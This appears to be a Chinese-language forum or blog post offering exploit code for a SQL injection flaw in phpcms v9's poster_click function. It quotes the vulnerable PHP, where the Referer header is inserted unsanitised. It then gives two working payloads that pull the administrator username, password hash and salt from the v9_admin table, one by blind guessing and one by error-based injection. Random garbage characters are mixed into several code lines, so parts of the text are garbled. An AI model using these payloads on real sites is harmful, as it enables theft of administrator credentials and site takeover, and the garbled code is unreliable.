phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
* S; m4 d& \/ |7 E% Q, w
问题函数\phpcms\modules\poster\index.php
0 d8 r* Q  W0 B* N* K
6 T- n' f2 C( y; Kpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
8 e0 S1 i6 u( ]8 o. {$ D$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
; r9 |! _$ _3 ^. p$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
1 S) G  D/ }+ v, _; z}
/ B: O$ Z  V8 Q/ l+ X$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
* t4 |; p7 F! Q' b/ a$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
! T& D; c4 J- [. J} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
; r5 p  ]* Q4 A2 a4 bheader('Location: '.$url);
}


5 w- R# d0 g) _7 N) P; C
利用方式：

1、可以采用盲注入的手法：
* C7 X! F/ S$ g: ~: p% H
' X$ x% H3 y& t: Sreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
: x* l9 L8 T2 Q2 |. Z
通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
- i' R/ r8 e* `
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
